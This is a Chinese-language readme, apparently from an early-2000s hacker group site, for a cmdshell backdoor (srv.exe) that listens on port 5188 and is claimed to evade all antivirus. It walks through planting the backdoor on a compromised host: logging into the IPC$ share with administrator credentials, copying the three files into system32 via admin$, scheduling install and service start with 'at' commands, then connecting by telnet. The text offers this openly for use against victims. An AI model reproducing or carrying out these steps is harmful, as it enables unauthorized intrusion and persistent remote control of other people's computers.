Download by
小凤居
ChineseHack.org
=================================天盾网络技术联盟========================================

呵呵.这是一个cmdshell程序.和小榕流光中所代的srv一样.不过.这可是最新版的.源码来自孤独剑客.

是目前任何杀毒软件都查杀不到的.


呵呵.程序在肉鸡上运行后开5188端口.

telnet ip 5188

经过本人多次测试,确定,这个后门不会被任何杀毒软件查杀.因为这是一个经典的Socket程序.我看放在socket编
程的书中做例题也是很不错的.




QQ:681053

http://www.skyshields.com
本人策划已久的天盾网络技术联盟已初步建成.现在只是没有网站空间.如果谁能为联盟提供空间.

请与我联系.

ＱＱ:614618
通过验证时.请说明:提供空间.

些程序配合netservice将srv.exe注册为系统服务.就是一个经典的后门了.呵呵.

===========================================================================================

把ntservice.exe ntservice.ini srv.exe三个程序传到肉鸡上,ntservice是我已配制好的.大家直接使用
也可以.

EX:
  
net use \\192.168.0.124\ipc$ "hacker" /user:"administrator"
命令成功完全

copy ntservice.exe \\192.168.0.124\admin$\system32\

copy ntservice.ini \\192.168.0.124\admin$\system32\

copy srv.exe \\192.168.0.124\admin$\system32\

把三个文件全部传上去后

net time \\192.168.0.124
得到对方系统的时间

at \\192.168.0.124 10:51 ntservice -install

安装完成后还必需要启动服务!

at \\192.168.0.124 10:53 net start Application

注意Application是在ntservice.ini指定的服务名.
我们用at \\192.168.0.124查看,有没有被执行!!

呵呵,等会时间到了,鸡肉就可以吃了.呵呵.
ＯＫ执行了.
一定经典的后门就这可产生了.HOHO,至少目前不会被任何杀毒软件发现.大家快快使用吧.
大家要删除Application这个服务可以.
telnet ip 5188 进去后.
c:\winnt\system32>ntservice -unistall



OK,等时间一到程序执行后,大家就可以使用这个后门了.看不明白的不要找我.谢谢.已经很简单了.
如果你看不明白,那你就去看流光帮助文件去.先去学扫描器的使用吧.要不你连肉鸡也搞不到.
还谈什么后门.

